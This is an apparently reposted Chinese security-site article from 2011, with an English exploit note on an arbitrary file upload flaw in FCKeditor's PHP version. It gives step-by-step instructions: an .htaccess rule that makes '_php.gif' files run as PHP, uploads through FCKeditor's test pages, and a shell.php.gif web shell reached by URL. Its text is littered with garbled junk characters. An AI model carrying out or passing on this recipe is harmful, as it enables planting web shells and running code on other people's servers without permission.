FCKeditor所有php版本Upload上传漏洞

admin

FCKeditor所有php版本Upload上传漏洞 作者：佚名 来源：本站整理 发布时间：2011-10-25 7:39:07 减小字体 增大字体 [+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability " x  `5 g9 Y6 u/ I[+] Date: 2011 [+] Author : sinesafe.cn [+] Website : WwW.sinesafe.cn ——————————————————— ! ^% x( o& w) ]; u8 e+ ^7 S5 ?1.create a htaccess file: code: <FilesMatch “_php.gif”> SetHandler application/x-httpd-php + l1 c1 e- g  M% r& A. b</FilesMatch>   c' i; D/ {) M8 t/ f) s 2.Now upload this htaccess with FCKeditor. & a# h& H' _; D# c ; A( n0 O, D) ^/ F! hhttp://www.sinesafe.cn/FCKeditor ... er/upload/test.html ( D) b) c4 F" B+ C/ x9 @. H5 l # s' S5 u2 E* G8 D, W3 vhttp://www.sinesafe.cn/FCKeditor ... onnectors/test.html   @* j$ G) M. O 4 ~% c1 F- d: I———————————————————————————————- 3.Now upload shell.php.gif with FCKeditor. 4.After upload shell.php.gif, the name “shell.php.gif” change to “shell_php.gif” automatically. " Q7 d3 l* y5 {" H5.http://www.sinesafe.cn/anything/shell_php.gif 8 s, Q- w! U& {6.Now shell is available from server.